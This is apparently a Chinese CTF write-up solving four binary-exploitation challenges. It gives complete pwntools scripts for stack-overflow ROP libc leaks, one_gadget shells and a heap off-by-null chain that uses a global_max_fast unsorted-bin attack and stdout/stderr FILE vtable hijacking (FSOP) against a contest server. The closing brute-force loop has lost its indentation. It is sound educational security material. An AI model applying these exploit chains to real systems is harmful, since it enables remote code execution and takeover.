登录后台

页面导航

本文编写于 334 天前,最后修改于 118 天前,其中某些信息可能已经过时。

fantasy

右后门,简单的栈溢出

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = remote('183.129.189.60','10025')
#p = process('./fantasy')
elf = ELF('fantasy')
libc = elf.libc
p.sendline('a'*0x38+p64(0x400735))
p.interactive()

my_cannary

这个需要看反汇编代码
有个xor rdx,[ebp-8];这个里面rdx是可控的,需要是一个地址,ebp-8也可控
通过这里的检验,然后发现程序有system函数,再泄露获取shell就可以了

from pwn import *
#context.log_level = 'debug'
p = remote('183.129.189.60','10026')
#p = process('./my_cannary')
elf = ELF('my_cannary')
libc = elf.libc

payload = 'a'*0x30+p64(elf.symbols['gift'])+p64(0)+'a'*8
payload += p64(0x400a43)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400998)

p.sendline(payload)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
p.success('libc_base: '+hex(libc_base))

bin_sh = libc.search('/bin/sh').next()+libc_base
p.success('bin_sh: '+hex(bin_sh))

payload = 'a'*0x30+p64(elf.symbols['gift'])+p64(0)+'a'*8
payload += p64(0x400a43)+p64(bin_sh)+p64(0x4008BE)
p.sendline(payload)

p.interactive()

easypwn

栈溢出题目,但是限制输入0x20个字符,但是后面的会将字符串中的 I 替换为 pretty。只用 I 够多就能覆写 eip,所以需要0x10个I。

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./easy_pwn')
elf = ELF('easy_pwn')
libc = elf.libc
payload = 'I'*0x10 + p32(elf.plt['puts']) + p32(0x080492F5) + p32(elf.got['puts'])
p.sendline(payload)
print hex(libc.symbols['puts'])
libc_base = u64(p.recv(0xa0)[0x91:0x95].ljust(8,'\x00')) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
p.recv()
payload = 'I'*0x10 + p32(0x3ac5c+libc_base)#one_gadget
p.sendline(payload)
p.interactive()

babyheap

前言

感觉这道题挺不错的,适合我这种pwn新手,学到了新姿势。漏洞点是off-by-null,没有show函数,需要要用到堆块合并,IO文件流劫持,global_max_fast等相关知识,调试程序令人崩溃~

程序分析

基本信息

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
***********************
1.Buy a basketball
2.Show the wondeful skill
3.Throw the basketball
4.Write your signature
5.Go home
***********************

show函数是个假的 。哭笑.jpg

int buy()
{
  int v1; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  printf("Which basketball do you want?");
  v1 = get_num();
  if ( v1 < 0 || v1 > 4 )
  {
    puts("Wrong index!");
  }
  else
  {
    printf("how big: ");
    v2 = get_num();
    if ( v2 <= 0x90 || v2 > 0x400 )
    {
      puts("Wrong size!");
    }
    else
    {
      addr_list[v1] = malloc(v2);
      size_list[v1] = v2;
    }
  }
  return puts("Done!\n");
}

chunk大小范围是0x90~0x400,只能malloc五个chunk

__int64 __fastcall sub_E86(__int64 a1, int a2)
{
  int i; // [rsp+18h] [rbp-28h]
  char buf; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= a2; ++i )
  {
    read(0, &buf, 1uLL);
    if ( buf == '\n' )
      break;
    *(a1 + i) = buf;
    if ( i == a2 )
      *(i + a1) = 0;    //存在off-by-one
  }
  return i;
}

在edit的时候存在off-by-null

漏洞利用

1.首先得利用off-by-null实现堆块重叠

add(0,0xf8)
add(1,0xf8)
add(2,0xe8)
add(3,0xf8)
add(4,0xf8)
delete(0)
edit(2,'c'*0xe0+p64(0x2f0)+'a')
delete(3)
add(0,0x2f0-0x10)
edit(0,'\x11'*0xf0+p64(0)+p64(0x101)+'\x22'*0xf0+p64(0)+p64(0xf1)+'\n')

delete(3)后查看内存

0x563e21256000:    0x0000000000000000    0x00000000000003f1
0x563e21256010:    0x00007fea0a939b78    0x00007fea0a939b78
0x563e21256020:    0x0000000000000000    0x0000000000000000
0x563e21256030:    0x0000000000000000    0x0000000000000000

我们可以看到前四个chunk已经合并了,但是chunk2和3没有释放,然后把chunk复原

#.bss:00000000002030C0 addr_list
0x55755cf2b060:    0x00000000000002e0    0x00000000000000f8
0x55755cf2b070:    0x00000000000000e8    0x0000000000000000
0x55755cf2b080:    0x00000000000000f8    0x0000000000000000
0x55755cf2b090:    0x0000000000000000    0x0000000000000000
0x55755cf2b0a0:    0x0000000000000000    0x0000000000000000
0x55755cf2b0b0:    0x0000000000000000    0x0000000000000000
0x55755cf2b0c0:    0x000055755de85010    0x000055755de85110
0x55755cf2b0d0:    0x000055755de85210    0x0000000000000000
0x55755cf2b0e0:    0x000055755de85400    0x0000000000000000

此时chunk0和chunk2+chunk3出现了重叠

2.攻击global_max_fast产生fastbin的chunk

pwndbg> p &global_max_fast
$3 = (size_t *) 0x7faedde307f8 <global_max_fast>
pwndbg> x/10gx 0x7faedde307f8
0x7faedde307f8 <global_max_fast>:    0x0000000000000080    0x0000000000000000
0x7faedde30808 <root>:    0x0000000000000000    0x0000000000000000

程序开了pie,但内存0x1000是一页,所以后三位不变,第四位需要爆破
global_max_fast = 0x77f8

global_max_fast的阀值默认时0x80,改写global_max_fast为一个较大的值,然后释放一个较大的堆块时,由于fastbins数组空间是有限的,其相对偏移将会往后覆盖,如果释放堆块的size可控,就可实现往fastbins数组(main_arena)后的任意地址写入所堆块的地址。

edit(0,'\x11'*0xf0+p64(0)+p64(0x101)+p64(0)+p16(0x77f8 - 0x10)+'\n')
add(3,0xf8)
add(3,0xf8)

将chunk1的bk指针改为global_max_fast-0x10的地址
下面是第一次add chunk3后的unsorted bins

unsortedbin
all [corrupted]
FD: 0x55d8072ec100 —▸ 0x7f271fe75b78 (main_arena+88) ◂— 0x55d8072ec100
BK: 0x55d8072ec100 —▸ 0x7f271fe777e8 (free_list) ◂— 0x0

第二次add会在global_max_fast-0x10的位置申请空间,而且fd指针会指向main_arena+88
这里是用到了unsorted_bin的攻击

0x7fbd5c9677e8 <free_list>:    0x0000000000000000    0x0000000000000000
0x7fbd5c9677f8 <global_max_fast>:    0x00007fbd5c965b78    0x0000000000000000
0x7fbd5c967808 <root>:    0x0000000000000000    0x0000000000000000

具体global_max_fast的原理和其他利用看文末的参考链接吧

3.劫持结构体泄露libc

有关IO的劫持泄露libc可以参考这个:https://xz.aliyun.com/t/6473

要将chunk2的FD指针为stdout-0x51,成功实现劫持结构体

pwndbg> p _IO_2_1_stdout_
$4 = {
  file = {
    _flags = -72537977, 
    _IO_read_ptr = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_base = 0x7f70a60906a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7f70a60906a4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7f70a608f8e0 <_IO_2_1_stdin_>, 
    _fileno = 1, 
    _flags2 = 0, 
    _old_offset = -1, 
    _cur_column = 0, 
    _vtable_offset = 0 '\000', 
    _shortbuf = "\n", 
    _lock = 0x7f70a6091780 <_IO_stdfile_1_lock>, 
    _offset = -1, 
    _codecvt = 0x0, 
    _wide_data = 0x7f70a608f7a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0, 
    _mode = -1, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7f70a608e6e0 <_IO_file_jumps>
}

目的是修改_flags为0xfbad1800,_IO_write_base的最后一位为0然后泄露出libc

_IO_write_base为想要泄露的起始地址,_IO_write_ptr为想要泄露的结束地址即可,这样就可以达到任意读。

stdout = 0x77f8 - 0x1229
edit(0,'\x11'*0xf0+p64(0)+p64(0x101)+'\x22'*0xf0+p64(0)+p64(0xf1)+'\n')
delete(2)
edit(0,'\x11'*0xf0+p64(0)+p64(0x101)+'\x22'*0xf0+p64(0)+p64(0xf1)+p16(stdout)+'\n')
add(3,0xe8)
add(4,0xe8)
edit(4,'a'*0x41+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')
p.recv(0x40)
libc_base = u64(p.recv(8))- 0x3c5600
log.success('libc_base: '+libc_base)

4.伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget

5.malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。

onegadget = libc_base + 0xf1147
edit(4,'\x00'+p64(libc_base+0x3c55e0)+p64(0)*3+p64(0x1)+p64(onegadget)*2+p64(libc_base+0x3c5600-8) + '\n')
#trigger abort-->flush
add(1,1000)

原理:

当调用_IO_flush_all_lockp时,_IO_list_all的头节点并不会使得我们可以控制执行流,但是当通过fp = fp->_chain链表,对第二个节点进行刷新缓冲区的时候,第二个节点的数据就是完全可控的。我们就可以伪造该结构体,构造好数据以及vtable,在调用vtable中的_IO_OVERFLOW函数时实现对执行流的劫持。

修改之后的_IO_2_1_stderr_

0x7f2ebb9f65e0 <_IO_2_1_stderr_+160>:    0x00007f2ebb9f65e0    0x0000000000000000
0x7f2ebb9f65f0 <_IO_2_1_stderr_+176>:    0x0000000000000000    0x0000000000000000
0x7f2ebb9f6600 <_IO_2_1_stderr_+192>:    0x0000000000000001    0x00007f2ebb722147
0x7f2ebb9f6610 <_IO_2_1_stderr_+208>:    0x00007f2ebb722147    0x00007f2ebb9f65f8

参考链接:

IO FILE 之劫持vtable及FSOP

_IO_FILE部分源码分析及利用

堆中global_max_fast相关利用
house of orange in glibc 2.24

payload = '\x11' * 0xf0 
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1)
payload += p16(stdout) + '\n'
edit(0,payload)
malloc(3,0xe8)
malloc(4,0xe8)
py = ''
py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n' 
edit(4,py)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
onegadget = libc_base + 0xf1147
print "libc_base--->" + hex(libc_base)
py = '\x00'+p64(libc_base+0x3c55e0)+p64(0)*3+p64(0x1)+p64(onegadget)*2+p64(libc_base+0x3c5600-8) + '\n'
edit(4,py)
#trigger abort-->flush
malloc(1,1000)

i = 0
while 1:

print i
i += 1
try:
    pwn()
except EOFError:
    p.close()
    local = 0
    elf = ELF('./babyheap')
    if local:
        p = process('./babyheap')
        libc = elf.libc
        continue
    else:
        p = remote('183.129.189.60',10013)
else:
    sl("ls")
    break

p.interactive()